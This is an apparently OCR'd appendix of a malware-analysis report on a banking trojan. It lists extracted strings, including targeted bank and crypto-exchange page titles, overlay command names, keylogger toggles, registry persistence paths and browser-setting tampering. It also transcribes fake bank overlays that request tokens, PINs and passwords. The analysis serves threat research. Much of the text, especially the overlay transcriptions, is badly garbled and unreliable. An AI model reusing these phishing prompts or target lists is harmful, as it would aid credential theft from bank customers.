794 --> Internet Banking: Consulta de Saldo e Outros
Servicos | Agibank -

795 --> Banco Nubank

796 --> NuB4K
797 --> Nubank - Finalmente vocé no controle do
seu dinheiro. -

798 --> NuConta. A revolucdo de verdade comeca
agora. Controlar e fazer seu dinheio render
ndo precisa ser complicado. | Nubank -

799 --> Nio é um cartdo. E uma revolucio. | Nubank -

800 --> nubank -

80! --> Banco Modal Mais

802 --> m0d4

803 --> modalmais, o 1° home broker com
corretagem zero em indice e ddlar futuros -

804 --> https://www.modalmais.com.br/

805 --> modalmais

806 --> Internet Banking BNB -

807 --> banco do nordeste -

808 --> banco de brasilia -

809 --> BRB - Banco de Brasilia - Inicio / ParaVocé /
BRB - Banco de Brasilia -

810 --> BRB - Banco de Brasilia - Inicio / Para sua
Empresa / BRB - Banco de Brasilia -

811 --> BRB Banknet | Banco de Brasilia -

812 --> Internet banking empresarial - Santander -

813 --> Boletos - Santander -

814 --> santander -

815 --> caixa -

816 --> CAIXA -

817 --> Internet Banking - Seguranca | Caixa -

818 --> BBVACODE.BMP

819 --> BBVACODE2.BMP

820 --> SANTACODEBMP

821 --> Cddigo QRCODE -

822 --> Banco da Amazonia - Inicio -

823 --> Banco da Amazénia -

824 --> Banco da Amazdnia - Empresa -

825 --> Banco da Amazénia - Vocé -

826 --> Banco da Amazdbnia - Governo -

827 --> Banco da Amazdnia - Agricultura Familiar -

828 --> Banco da Amazdnia - Aviso Amazdnia Online -

829 --> Pagina Inicial - Vocé | Banco do Brasil

830 --> Autoatendimento Pessoa Fisica - Banco do Brasil

831 --> Pdgina Inicial - Empresas | Banco do Brasil

832 --> Banco do Brasil -

833 --> Pessoa Fisica - Vocé | Banco do Brasil -

834 --> Pessoa Juridica - Empresas | Banco do Brasil

835 --> Produtos e Servicos - Vocé | Banco do Brasil

836 --> itau -

837 --> Conta Corrente - Itad feito pra vocé -

838 --> Itad Uniclass - feito para vocé crescer -

839 --> Itaud - conveniéncia -

840 --> Cartdo de Crédito | Itau -

841 --> Banco Daycoval -

842 --> banco daycoval

843 --> ERRO SENHA LIBERADO COM SUCESSO!

844 --> banr2gi0=

845 --> Banregio

846 --> Banregio -

847 --> Banca Electrdnica -

848 --> Banregio / Cuentas Empresas -

849 --> Banregio / Cuentas -

850 --> BANREGIOFAKE

851 --> BANTELAOI

852 --> BANRO2

853 --> BANRO3

854 --> BKBANREGIO

855 --> cajsu=

856 --> Cajasur

857 --> Banca Cajasur

858 --> coinc=

859 --> Banco Coinc

860 --> Cuenta de ahorro remunerada COINC

861 --> COINC

862 --> Deutsch=

863 --> Deutsche Bank

864 --> Banca Internet de Deutsche Bank

865 --> db-direct internet login

866 --> evobk=

867 --> EVO Banco

868 --> Cuenta Inteligente - Cuenta Corriente Sin
Comisiones | EVO Banco

869 --> Banca eléctronica - Banca a distancia | EVO

870 --> Iberc=

871 --> Banca Ibercaja

872 --> Ibercaja
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873 --> Particulares | Ibercaja

874 --> Banca Online - Particulares | Ibercaja

875 --> Negocios | Ibercaja

876 --> Banca Personal | Ibercaja

877 --> Banca Privada | Ibercaja

878 --> Aceso a la banca online de Ibercaja

879 --> b4nkOdespana=

880 --> Banco de Espafia - SPAIN

881 --> Banco de Espafia -

882 --> atl@nt.ico=

883 --> Banco Sabadell - SPAIN

884 --> Particulares - BANCO SABADELL

885 --> Personal - BANCO SABADELL

886 --> banco sabadell

887 --> Business - BANCO SABADELL

888 --> Empresas - BANCO SABADELL

889 --> BANCO SABADELL

890 --> Seguros - BANCO SABADELL

891 --> Financiacion - BANCO SABADELL

892 --> SABADELLTARJETA

893 --> bbv@=

894 --> BBVA - SPAIN

895 --> Instituciones BBVA

896 --> Banca Online de BBVA

897 --> Banca Privada de BBVA

898 --> Auto 'nomos - BBVA.es

899 --> Pymes - BBVA.es

900 --> BBVA Net Cash

901 --> bbva

902 --> Instituciones BBVA

903 --> ban.p@stor=

904 --> Banco Pastor - SPAIN

905 --> Particulares - Banco Pastor Grupo Banco Popular -

906 --> Banco Pastor: Hipotecas, Ndminas, Depdsitos,
Planes de Pensiones,... -

907 --> Empresas - Banco Pastor Grupo Banco Popular -

908 --> banco pastor -

909 --> Banca para particulares | Banco Popular -

910 --> Banco Popular: Banco online, Depdsitos,
tarjetas, Ndminas, Fondos de Inversi&oactueyn -

911 --> POPULARSMS

912 --> PASTORCODIGOSMS

913 --> Login do Access Manager for Web

914 --> Banco Pastor:

915 --> Banco Pastor

916 --> banc@.sant4=

917 --> Banco Santander - SPAIN

918 --> Particulares - Banco Santander

919 --> Santander Empresas: soluciones personalizadas
- Banco Santander

920 --> Santander Private Banking, Banca Privada al
maximo nivel - Banco Santander

92| --> banco santander es

922 --> Banca Digital | Particulares - Banco Santander

923 --> Santander Empresas:

924 --> Banca Online para Particulares - Banco
Santander

925 --> Cuentas v tarjets | Particulares - Banco
Santander

926 --> Cuentas Corrientes: elige tu cuenta corriente -
Banco Santander

927 --> Home Banking -

928 --> Santander SmarkBank:

929 --> bankl @=

930 --> Banco Bankia - SPAIN

931 --> Particulares - Bankia.es

932 --> Banca Personal - Asesoramiento y planificacion

933 --> Banca privada

934 --> Bankia Online Empresas

935 --> banco bankia

936 --> BANKIASMS

937 --> Acesso Clientes - Bankia.es

938 --> Pymes y Auténomos - Bankia.es

939 --> BANKIAELECTRONICA

940 --> caix@b4k=

941 --> Banco CaixaBank - SPAIN

942 --> CaixaBank - Particulares, Empresas | “la Caixa”

943 --> CaixaBank | Empresas, Particulares | Empresas

944 --> Negocios: auténomos y comercios | Empresas

945 --> Agrobank | Empresas

946 --> Home HolaBank | HolaBank | CaixaBank

947 --> Banca Privada de CaixaBank | Banca Privada

948 --> CaixaBank Banca Premier: Banca Personal |
Banca Premier

949 --> caixabank

950 --> Segmentos | Particulares | CaixaBank

951 --> Negocios: auténomoes y comercios

952 --> Family Sénior | Ventajas

953 --> Family | Particulares

954 --> |évenes | Particulares

955 --> CaixaBank

956 --> ab@nk=
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957 --> Banco ABANCA

958 --> abanca

959 --> abanca espana

960 --> ABANCA banca online particulares

961 --> Banca electro 'nica. La banca

962 --> ABANCA - Sentir Comun

963 --> Banco para particulares y empresas | ABANCA

964 --> Banca para empresas (PYME,

965 --> Acesso Banca Electrénica ABANCA

966 --> Acesso Empresas- Banca electrdnica

967 --> aktivO=

968 --> Banco ActivoBank

969 --> ActivoBank

970 --> Particulares - ACTIVOBANK

971 --> Activo Online - ACTIVOBANK

972 --> Particulares- -

973 --> arki@bk=

974 --> Arquia Banca

975 --> Banca para profesionales, particulares y
empresas | Arquia Banca

976 --> Banca particulares | Arquia Banca

977 --> Operaciones bancarias | Arquia Banca

978 --> ARQUIA -

979 --> fac44to=

980 --> Banca Farmafactoring

981 --> cuenta facto

982 --> Cuenta Facto | Cuenta Dep

983 --> m@rch=

984 --> Banca March

985 --> banca march

986 --> Banca March - Crecemos con valores

987 --> Personas - Banca March

988 --> Banca March / Acesso Clientes

989 --> pey0=

990 --> Banca Pueyo

991 --> banca pueyo

992 --> Particulares - Banca Pueyo

993 --> Banca por internet - Banca Pueyo

994 --> Empresas - Banca Pueyo

995 --> Agro - Banca Pueyo

996 --> cg3ral=

997 --> Banco Caixa Geral

998 --> Nuestro Banco

999 --> Particulares -

1000 --> Anticipo Pago Proveedores -

001 --> Banco Caixa Geral -

1002 --> m3diol=

003 --> Banco Mediolanum

1004 --> Banco Mediolanum. La Banca

005 --> La Banca Personal | Banco Mediolanum
006 --> Banco Mediolanum

1007 --> pinich=

1008 --> Banco Pichincha

009 --> Banco Pichincha Espafia

010 --> Internet - Banco Pichincha

011 --> Banco Pichincha

1012 --> popu=

013 --> Banco Popular

014 --> Banco para auténomos | Banco Popular
015 --> Banco para particulares | Banco Popular
016 --> Banco para empresas | Banco Popular
017 --> Banco Popular:

018 --> Optima | Banco Popular empresas

1019 --> Servicio de Banca Online de Popular Banca Privada
1020 --> bankint=

021 --> Bankinter

1022 --> Banca Online - Todo sobre tu banco,
023 --> Empresas | BANKINTER

1024 --> Banca Particulares | Bankinter

1025 --> Empresas > Cuentas >

1026 --> Acesso clientes banca online | Bankinter
1027 --> bankoa=

1028 --> Bankoa

1029 --> Bankoa Crédit Agricole

1030 --> BANKOA

1031 --> cQx@guiss=

1032 --> Caixa Guissona

1033 --> CAIXAGUISSONA

1034 --> Ontent=

1035 --> Caixa Ontinyent

036 --> Ontinyent

037 --> Ingeni=

038 --> caja de ingenieros

039 --> Caixa d’Enginyers

1040 --> Banca Personal - Caja de Ingenieros
041 --> Profesionales y Empresas - Caja de Ingenieros
1042 --> Grupo Caja de Ingenieros

1043 --> caj@es=

1044 --> Caja Espana

1045 --> Caja Espafia — Caja Duero

046 --> Unicaja Banco

1047 --> Unicaja
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|048 --> Banca personal y privada | Unicaja

1049 --> Unicorp

1050 --> cajam@r=

051 --> Banca Cajamar

1052 --> Cajamar

053 --> Atencidn al cliente. 24 horas al dia, 365
dfas al afio - Cajamar

1054 --> Particulares - Cajamar

055 --> Auténomos - Cajamar

056 --> Empresas - Cajamar

057 --> ADN-Agro - Cajamar

1058 --> CAJABLOCK

1059 --> TRAVA_CAJAMAR

1060 --> PROPORCAO

1061 --> MUDARMETODOTELA

1062 --> TELADOPEDIDO

1063 --> AFIRMEDADOSERRADOS

064 --> Estimado(a) Cliente

1065 --> MAILERBLOCK

066 --> Servicio Indisponible

1067 --> ERRO HTTP 404 - not found

1068 --> MicrosoftEdgeCPexe

1069 --> Kutxablock

1070 --> ing=

1071 --> Banca ING

1072 --> ING Direct

073 --> banco ing

1074 --> ING, banco online

1075 --> Cuenta NOMINA

1076 --> Cuenta NARANJA

1077 --> Acceso clientes - ING

1078 --> Kutxa=

1079 --> Banca Kutxabank

1080 --> Kutxabank

1081 --> https://www.kutxabank

1082 --> TRAVA_KUTXA

083 --> Labor=

1084 --> Banco Laboral Kutxa

1085 --> Laboral Kutxa

1086 --> Banca Online - Laboral Kutxa

1087 --> Empresas - Laboral Kutxa

1088 --> Banca Mdvil - Laboral Kutxa

1089 --> Negocios y Profesionales - Laboral Kutxa

1090 --> Liberb=

1091 --> Banca Liberbank

1092 --> liberbank

1093 --> Clientes - Liberbank

1094 --> Nueva app de Liberbank

1095 --> Negocios - Liberbank

1096 --> Acesso banca a distancia - Liberbank
097 --> Home - Banca privada

1098 --> Home - Liberbank Corporativo
1099 --> TRAVA_LIBERBK

[ 100 --> LIBERBLOCK

[ 10| --> N26=
[ 102 --> Banco N26
[ 103 --> N26

| 104 --> erlanden=

| 105 --> Banco Nederlanden Bank

| 106 --> Nationale Nederlanden Bank
| 107 --> Nationale-Nederlanden

[ 108 --> Login - NN

109 --> openbk=

['110 --> Openbank

['1'l'l --> banco openbank

[112 --> Pibank=

|13 --> Pibank

[ 114 --> Banco Pibank

[ 115 --> SelfBank=

[ 116 --> self bank

| |17 --> Banco Self Bank
118 -->Targo=

['119 -->Targo Bank

[ 120 --> Identificacién | TARGOBANK

[ 121 --> Inicio Empresas | TARGOBANK

[ 122 --> Inicio Particulares | TARGOBANK

[ 123 -->Triodo=

| 124 --> Triodos Bank

[ 125 -->TRIODOS

[ 126 --> Wizink=

[ 127 --> Banco Wizink

[ 128 --> Wizink

[ 129 --> Acceso al banco online de WiZink
[ 130 --> bitco=

131 --> BITCOIN

[ 132 --> Bitcoin Wallet

| 133 -->Wallet Bitcoin

1134 --> rur@l=

| 135 --> Banco Ruralvia - Spain
| 136 --> caja rural

| 137 --> Caja Rural

| 138 --> Particulares. Caja Rural
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| 139 --> Ruralvia Empresas

| 140 --> Ruralvia

141 --> CAJAMARTARJETA

142 --> CAJAMARFAKE

143 --> CAJAMARERROSENHA

| 144 --> LIBERBANKFAKE

| 145 --> LIBERBANKTARJETA

| 146 --> LIBERBANKERROSENHA

[ 147 --> KUTXAFAKE

[ 148 --> KUTXADADOSERRADOS

| 149 --> pst

[ 150 --> APP

[151 -->SVC

[152 --> ONLINE

[153 --> ATA

| 154 --> sqlite

[ 155 --> ADM

[ 156 --> ACEL

157 --> ACEL2

[ 158 --> BT

159 --> ONION

[ 160 --> SystemSettings.exe

161 -->\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Shell Folders

| 162 --> Startup

I 163 --> \Software\Microsoft\Windows\
CurrentVersion\Policies\Associations

I 164 --> LowRiskFile Types

[ 165 --> exe;

[ 166 --> ONLINE

167 --> key

168 --> SVC

| 169 -->\Opera Software\Opera Stable\Local State

['170 --> {"up_to_date"false}},"hardware_
acceleration_mode":{"enabled":false}

171 --> {"up_to_date"false}}

|'172 -->\Google\Chrome\User Data\lLocal State

| 173 --> hardware_acceleration_mode_previous':true

| 174 --> hardware_acceleration_mode__
previous'false

['175 --> \SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Shell Folders

176 --> WORKING

|77 --> File.exe

178 --> TECLADO S/ HK=>

I'179 --> SeDebugPrivilege

1180 --> SEMPREON

181 --> Clave ASD :

| 182 --> Contrasena y token:

183 --> NETCASHCOPASD

| 184 --> HSBC_TOKCELULAR

| 185 --> ERROSENHABANAEMPRESA

| 186 --> NETCASHCOPEASD

1187 --> AZTECADADOSERRADOS

| 188 --> NIPDINAMICOESERIE

[ 189 --> Clave de Alta :

| 190 --> Contrasena y cddigo token :

1191 --> BANCOPPELDADOSERRADOS

1192 --> HSBCTOKENMOVIL

1193 --> PEDIDO_HSUM

[ 194 --> HSBCSINC2TK

[ 195 --> HSBCSINC3TK

1196 --> HSBCTOKEN6DIG

1197 --> HSBCDADOSERRADOS

| 198 --> TRAVAHSBCFAKE

1199 --> NIP:

1200 --> PEDENIPDIN209A

1201 --> PikGrossa

1202 --> NOVA CAPTURA DETECLAS - ON!

1203 --> PikMucha

1204 --> NOVA CAPTURA DETECLAS - OFF!

1205 --> BBVADADOSERRADOS

1206 --> DESTRAVASITE

1207 --> Pdgina Inicial - Vocé | Banco do Brasil -

1208 --> Exclusivo - Outros Segmentos | Banco do Brasil -

1209 --> Pdgina Inicial - Estilo | Banco do Brasil -

210 --> Pdgina Inicial - Private | Banco do Brasil -

211 --> Pdgina Inicial - Empresas | Banco do Brasil -

212 --> Pdgina Inicial - Empresarial | Banco do Brasil -

|213 --> Pdgina Inicial - Corporate | Banco do Brasil -

1214 --> Govermno Federal - Setor Pdblico Federal | Banco do Brasil -

1215 --> Governo Estadual - Setor Pblico Estadual | Banco do Brasil -

216 --> Governo Municipal - Setor Publico Municipal |
Banco do Brasil -

|217 --> Legislativo - Setor Publico Legislativo | Banco do Brasil -

1218 --> Judicidrio - Setor Publico Judicidrio | Banco do Brasil -

1219 --> Caixa - Compromisso com o Brasil -

1220 --> PIS - Programa Integracao Social | Caixa -

221 --> Habitacdo | Caixa -

1222 --> FGTS - Beneficios do Trabalhador | Caixa -

1223 --> Santander -

1224 --> Sicredi | Gente que coopera cresce -
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1225 --> Conta-corrente | ParaVocé | Sicredi -

1226 --> Cooperativas | Sicredi -

1227 --> Sicoob - Sistema de Cooperativas de
Crédito do Brasil -

1228 --> Sicoob - Sistema de Cooperativas de Crédito
do Brasil | Identificacdo

1229 --> Itad Uniclass - feito para vocé crescer -

1230 --> Banco [tau - Feito ParaVocé -

1231 --> 30 horas -

1232 --> Itad - boletos - atualizar -

1233 --> Nova Home |

1234 --> Banco Safra

1235 --> 54fR4=

1236 --> Banco Safra

1237 --> banco safra -

1238 --> Banco Safra - Aplicagao Internet Pessoa Fisica -

1239 --> Banco Safra - Internet Banking Pessoa Juridica -

1240 --> Banco da Amazonia - Inicio

241 --> Banco da Amazonia - Empresa

1242 --> B@ZN=

1243 --> Amazonia Banco

1244 --> M3R30=

1245 --> BOT43=

1246 --> CO02N=

1247 --> FCBT4=

1248 --> F93T3=

1249 --> B44TR4=

1250 --> COOP3=

251 --> Compra e venda de Bitcoin | Mercado Bitcoin

1252 --> Mercado Bitcoin

|253 --> https://www.mercadobitcoin.com.br/

1254 --> Mercado BitCoin

1255 --> mercado bitcoin

1256 --> mercadobitcoin

1257 --> Negocia¢des Bitcoin | Mercado Bitcoin

1258 --> TRAVAMCBTC

1259 --> MBTC54

1260 --> ERRO SENHA CITIBANAMEX LIBERADO
COM SUCESSO.

1261 --> Login:

1262 --> Senha:

1263 --> PEDELOGINSENHA

1264 --> PEDEAUTHY

1265 --> Authy

1266 --> PEDEEMAILPIN

1267 --> Email de Cadastro

1268 --> PEDELOGINCPF

1269 --> Cpf.

270 --> Senha:

1271 --> SIMULAARROBA

1272 --> REINICIAMODULO

|273 --> Personas | Banco Santander -

|274 --> Empresas - Banco Santander Chile -

275 --> Servicio al Cliente - Banco Santander Chile

|276 --> Select | Banco Santander -

| 277 --> Santander PYME Advance - Banco Santander
Chile - Santander Advance -

| 278 --> santander

279 --> Banco Itaud -

1280 --> Efetuar Login -

[28] --> [tau -
| 282 --> banco itau chile
[283 --> itau

1284 --> BancoEstado Personas | Inicio -

| 285 --> Bancokstado Personas | Banca en Linea -

1286 --> banco estado -

1287 --> banco estado chile

1288 --> Bancokstado - Empresas -

1289 --> BancoEstado Personas | Chilenos en el Exterior -

1290 --> https://personas.bancoestado.cl/bancoestado/
CajaloginLocal.Html

1291 --> BancoEstado Personas | CuentaRUT -

1292 --> Bancokstado Personas | Ahorro en Chile para
Chilenos en el Exterior -

1293 --> Banco Internacional | Hablemos de Negocios -

1294 --> Sucursales|Banco Internacional -

1295 --> Directorio|Banco Internacional -

1296 --> Investor Relations|Banco Internacional -

1297 --> Equipo Ejecutivo|Banco Internacional -

1298 --> banco internacional -

1299 --> banco internacional chile -

1300 --> Banco Secunity, Una Empresa Del Grupo Security -

1301 --> Banco Security -

1302 --> banco security -

1303 --> banco security chile -

1304 --> banco security

305 --> Personas | Banco de Chile -

1306 --> Inicio | Empresas | Banco de Chile -

1307 --> Portal Empresas -

1308 --> Nuestro Banco | Banco de Chile -

1309 --> Pyme| Pyme - Banco de Chile -

310 --> banco de chile -

311 --> Banco Edwards -
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312 --> Banco Edwards | Citi - Cuenta Corriente -
I313 --> Inicio | Incio - Banco Edwards | Citi -

|314 --> banco edwards -

315 --> Banco Bice

|316 --> banco bice -

317 --> BICE - Empresas -

1318 --> BANCO BICE - Login -

319 --> BICE - Empresas -

1320 --> BICE - Banco en Linea -

321 --> BICE - Quiénes Somos -

1322 --> BICE - Productos -

1323 --> BICE -

1324 --> BUD@=

1325 --> Buda Bitcoin

326 --> Buda.com - Mercado v Billetera de Bitcoin

y Etherum -
| 327 --> buda bitcoin -
328 --=> CHIBIT=

1329 --> ChileBit Bitcoin

330 --> ChileBit.net - El primer mercado de Bitcoins
en Chile -

331 --> El primer mercado de Bitcoins en Chile -

1332 --> SP3KT=

333 --> Spectro Coin Chile

1334 --> Chile | SpectroCoin Supported Countries -

1335 --> Login | SpectroCoin -

1336 --> OKTOP=

337 --> Octopus Bitcoin -

1338 -->We Love Crypto Home -

1339 -->We Love Crypto Inicio de sesidn del cliente -

1340 -->We Love Crypto Carrito de compra -

1341 --> M3RK@DO=

1342 --> Mercado Pago Chile

1343 --> Procesamos los pagos online de compradores
y vendedores -

1344 --> jHola! Ingresa tu e-mail o usuario -

1345 --> mercado pago chile -

| 346 --> Procesamos los pagos online de compradores
y vendedores - Mercado Pago -

1347 --> BCl@=

1348 --> Banco Bci

1349 --> Bci Personas | Banco Bci -

1350 --> Bci.cl - Empresas -

351 --> Servicio al Cliente | Banco Bci -

1352 --> Bci Empresarios | Banco Bci -

1353 --> banco bci -

1354 --> F4L4B=

355 --> Banco Falabela

356 --> banco falabella -

1357 --> Banco Falabella -

1358 --> SCOT | =

1359 --> Scotiabank

1360 --> Bienvenidos | Banco Scotiabank -

361 --> Scotiabank -

1362 --> Scotiabank - Igreso Empresas -

1363 --> Login - Scotiabank Azul -

364 --> Scotiabank Azul Net Cash -

1365 --> bbva -

1366 --> bbva bancomer -

1367 --> bancomer -

|368 --> Bienvenidos a la Banca en Linea | BBVA
Bancomer -

1369 --> BBVA Bancomer -

| 370 --> BBVA Bancomer Empresas: cuentas,
finaciamiento, cobros, pagos, comercio,
inversiones. | Empresas | BBVA Bancomer -

|371 --> Linea Bancomer La banca desde tu teléfono |
BBVA Bancomer -

|372 -->Todos los productos que BBVA Bancomer tiene
para ti | BBVA Bancomer -

| 373 --> Registro de clientes | BBVA Bancomer -

|374 --> Cuentas de débito | BBVA Bancomer -

|375 --> Banca por Internet | BBVA Bancomer -

|376 --> Banco BBVA Paraguay | Personas -

1377 --> BBVA Bancomer

1378 --> BBVA Netcash

379 --> bbva netcash -

1380 --> netcash -

1381 --> BBVA Net cash -

1382 --> BBVA Bancomer net cash -

1383 --> Bancomer net cash | Empresas | BBVA Bancomer -

1384 --> bbva empresa -

1385 --> santander mx -

1386 --> santander -

1387 --> | Sé parte de la banca digital -

1388 --> Santander - Cuenta Basica -

389 --> .:Santander | Supernet.. -

1390 --> Hipoteca Santander -

391 --> Santander SuperMdvil -

1392 -->Tarjeta de Crédito -

1393 --> Santander PyME

394 --> Santander
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1395 --> httpsi//enlace.santander-serfin.com/eai/

EaiEmpresasWAR/inicio.do -
1396 --> enlace -
1397 --> HSBC
1398 --> hsbc -

1399 --> HSBC Personas - ProductosY Servicios -
HSBC México -

1400 --> Acceso Banca por Internet - HSBC México -

401 --> HSBC Global Login: Step | -

1402 --> Banca por Internet - HSBC México -

[403 --> Iniciar sesidn en Banca por Internet: Usuario
| HSBC -

1404 --> HSBC Banca de Empresas | HSBC Mexico -

1405 --> Capture Username | HSBCnet -

1406 --> HSBChnet | Global Banking and Markets |
HSBC -

1407 --> banca en linea hsbc -

1408 --> hsbcnet

1409 --> banca hsbc -

410 --> Grupo Financiero Inbursa -

411 --> https://www.bancoinbursa.com/login/
useraccess\Web.asp

412 --> inbursa -

[413 --> inbursa banca en linea -

414 --> banca inbursa -

415 --> banca inbursa -

416 --> Banco Inbursa

1417 --> INBIDIGITO

[418 --> Citibanamex | El Banco Nacional de México
| Citibanamex.com -

419 --> BancaNet | Citibanamex.com -

1420 --> Citibanamex, la mejor experiencia bancarial
| Citibanamex.com -

421 --> Centro de Ayuda Citibanamex |
Citibanamex.com -

1422 --> Citibanamex Pay | Citibanamex.com -

1423 --> Citibanamex Mdvil | Citibanamex.com -

424 --> Teléfonos Citibanamex | Citibanamex.com -

1425 --> Estado de Cuenta Electrdnico Citibanamex |
Citibanamex.com -

1426 --> citibanamex -

1427 --> banamex bancanet -

1428 --> banamex -

1429 --> Banamex Fisica

[430 --> Banamex Empresa

431 --> banamex empresarial -

[432 --> Banamex -

[433 --> bancanet empresarial -

434 --> BancaNet Empresarial - Empresas |
- Citibanamex.com -

435 --> BancaNet Empresarial Mévil - Empresas |
- Citibanamex.com -

1436 --> PyMes BancaNet Empresarial | Citibanamex.com -

437 --> Banco del Bajio

438 --> banco del bajio -

1439 --> El Banco de Confianza para Personas, Pymes,
Gobierno y Agronegocios -

[ 440 --> Banca Electrdnica para Empresas BanBajio |
Bajionet y Bajionet Mdvil Empresarial -

441 --> Banca Electrdnica BanBajio | Bajionet y
Bajionet Mdvil -

442 --> Bajionet -

[443 --> Bancoppel

[ 444 --> https://www.bancoppel.com/

1445 --> :BanCoppel::. -

446 --> .: BanCoppel :. -

447 --> :BanCoppel:: -

| 448 --> bancoppel -

[ 449 --> bancopel -

1450 --> coppel -

[451 --> Scotiabank

1452 --> scotiabank -

1453 --> Scotiabank México -

1454 --> ScotiaWeb -

1455 --> Scotia en Linea -

456 --> Tarjetas de Crédito | Scotiabank -

1457 --> Localizador de sucursales - Scotiabank -

1458 --> Servicios Bancarios -

459 --> ScotiaWeb Seguridad -

1460 --> Empresas y Gobierno - Scotiabank -

461 --> Banca Premium - Scotiabank -

462 --> banco azteca -

1463 --> azteca -

464 --> Sitio Oficial | Banco Azteca -

465 --> Banca Empresarial Azteca -

466 --> Guardadito | Banco Azteca -

467 --> Activar Banca en Linea | Banco Azteca -

1468 --> Banco Azteca

1469 --> banorte -

1470 --> Banorte | El Banco Fuerte de México -

471 --> Banca Internacional - Banorte -

472 --> Empresas y Corporativos -
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473 --> Banco en Linea -

| 474 --> Banca Preferente -
475 --> BANORTE -

476 --> banca banorte -

477 --> Banorte

478 --> banco afirme -

479 --> Afirme -

480 --> AfirmeNet -

48| --> Personas -

482 --> Visitanos -

[483 --> Empresas -

484 --> Afirmenet Personas -
485 --> Afirmenet Gobierno -
486 --> Afirmenet Empresas -
487 --> Banco Afirme

1488 --> Outlook.com - Microsoft free personal email -

1489 --> http://outlook.com

490 --> Banco Famsa

[49] --> bf@msa=

1492 --> banco famsa -

493 --> Banco Famsa -

1494 --> Banco Famsa - Consulta de Saldo -

1495 --> Banco Famsa - Famsa Ahorro -

1496 --> https://www.bafamsa.com/

1497 --> BitcoinToYou

1498 --> Bitcointoyou

1499 --> ptbitcointoyou.com

1500 --> BitcoinToYou

501 --> Stratum coinBR Smart\Wallet

1502 --> SmartWVallet Login

503 --> Stratum Blockchain Tech

504 --> CoinBR-Stratum

1505 --> Bitcoin: comprar e vender de forma rdpida e
fdcil € aqui | Foxbit

1506 --> Foxbit | Home

507 --> FoxBit

1508 --> Login | FlowBTC

1509 --> Bitcoin agora é fdcil | FlowBTC

510 --> FlowBTC

511 --> FlowBtc

512 --> BitcoinTrade

513 --> (BTC)

I514 --> BitcoinTrade

I515 --> Copay - Copay Bitcoin Wallet
1516 --> Copay
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APPENDIX 2:
FAKE BANK IMAGES
AND OVERLAYS

Complete list of fake bank images and overlays found in the different
samples analyzed during the investigation of this campaign.

BANKINTER

b a n ki n te r_ | Sincronizacién / Simulacidn &b

Estamas £l e ronzando tu dl spogitive,
Pars snononiEad de Tormd rapels y Segund Tu oEposit v, Racemos und SImuieoon &n Tu Teklons
el Indrodince b clave o 6 digios gues hamds emvisdo a T meel

Clarve e B digites

Arenceda: Bl prooeso snvigdo o S Telerno mdvdl S@ Irala S0k de una simulacion

KALPERIKY

bankintEﬂ ! Validacién de seguridad

) Ingresaste Una respuesia INCOMECta, por FaVor inténialo
nuevamente,

REVISE LOS DATOS CAPTURALDNS E INTENTE NUEVAMENTE y
EVITE EL BLOCUED DE 5U CUENTA,

KAYPERfACYS
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b an ki N tE | Validacion de seguridad

Realizando valldackén de segurdad....

¢l sistema de seguridad. Esfe proceso puede demorar alguncs minutos ¥ podrén

s podoitados datos para comprobar a tRularided de s cosnta. Por fyvor, wea packsnle:
-
o
o o

KatPERiKY

@ INESETMAMIoS qUe PArS LU MAPoE LEgursnzs, itamos hacendo una validstisn &n

HSBC

m HSBC Sincronizacién del
Dispositivo de Seguridad

Ingresa el cddigo generado mediante el
dispositive

Todhen Wil
Agerustm | progens we als w5 de unag ureranizckt e, e ml Blcssaea de pg cueeils
Copyright © - 2019 L T
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m Sincronizacion del
Dispositive de Seqguridad
Waimers & exdgir algunos datos para b sincroniracidn del DEpositivo de Seguridad

|n Encender su dis pos Bieo de sequridad « ingresar su NIP |

n Presionar o botan cuaderado de color amarilla l

|ﬂ Codiga de Verficackin: |

[u Wolver a presionar ¢ béton cuadrado de color amarillo, D |

|n Inegresar abajo o chdigo de seguridad de 6 digios generado por su dispatitiva |

LEQg0 O Sgiatidad
-
AngmDian: Bl prooebs 48 P ats #5400 da una sincroniEecean, evne ¢ bloguaes 3r du Cuen s "L.I S

Sincronizacion del
m m Dispositive de Seguridad

Aencidne £l frocris s trals ikl de wn dindranliacin, ey of bhsguet de i cusnks

CRave o Sincronires hon:

Fao i Paks § Fats 1

Abiw la aplicaiidn HYEC Srleoriona “Aa v modl ioicn de Ingreia low & dimeiod gue w insmbian
Ml iy s Beldlahi Denalicletos”, milrodeie lod d mdemseend | 01U Token Byl en @l i) indicsds

eelular y eleoriona Usar Tokes™ | de by claes de dnoonizsodn

Deetpruis imgresa e Contoaseia
HUEC Mdwil y velidiana .
Tenarat® Token Ml

Copyright i@ - 2010 %:'H’n
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HSBC Sincronizacion del
m ‘ Dispositivo de Seguridad

¥amd 2 exigir Biguenas datos para b sincroniracion el Daposithvo de Seguiidad

Paso 1 Paso 2 Paso 3
P maa o Bsonden Cearclo la Preshorus o bokan
-‘ 1 seguncios paladura PSR u LT e
fars prendes & presTa e la & wngread bon b
Tk, de-igaks pantais da R Pl PPl G il
ingress tu AN Toksm, preiions AN #n

e bt . Token, &0 &f

IngeeLs ko d wspacin indaada

Token:

nuderfeerory ce Lib chawe
da wihiranldalsn

Clave de Skt ronlzacicn: m m

" AT
Arprician: [ presis v Bats wailo de una sincronigscan, evie ol blogues de 1 ouenta 4 o B v

m HSEBC ‘ Validacién de seguridad

(1] Ingresasie una respuesta incommecta, por favor intente
nuevamente.

REVTSE LOS DATOS CAPTURADOS E INTENTE NUEVAMENTE ¥
EVITE EL BLOCUED DE 51 CUENTA.

Copyright & - 2018 4T | HaBC
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Sincronizacion del
m m Dispositive de Seguridad

Wamon a exdgir algunos datos para b sincronizecidn del Disvpositivo de Seguridad

[n Encender 5u musva disposithes de seguridad al oprimir el ontuks verde por dicd segundod ]

Imijresar su numers NP,

|n Prasionar ol botdn con el ciculo verde de nuevo para ganerar un codigo de seguridad de & dighos |

m Imgresar abapo e cbdgo de seguridsd de 6 digos generado por Su diEpoaditiva, I

Coutsgn de Segundad

AgemCian: Bl precess ¢ brata sdlo de una sincronizacdin, evde o boguieo de s ouenia i :b HEDC

Sincronizacion del
m HSBC Dispositivo de Seguridad

Wamos a exigr slqunos datos para b sincronizacitn ded Disposftive de Sequridad.

g B C -

Pazoc 1 Paso 2 Paso 3
ot ptsib Sociors g on i D
HEBC H-Ih'l'\l TGOS, QU 58 muesina by
SplBCoIoTL CLIsar EniQrEda Tu Tadr Sidnil #m &l
Toikan™, Contrassda HERD SR NS
Il ¢ peben T
“Garerar-.
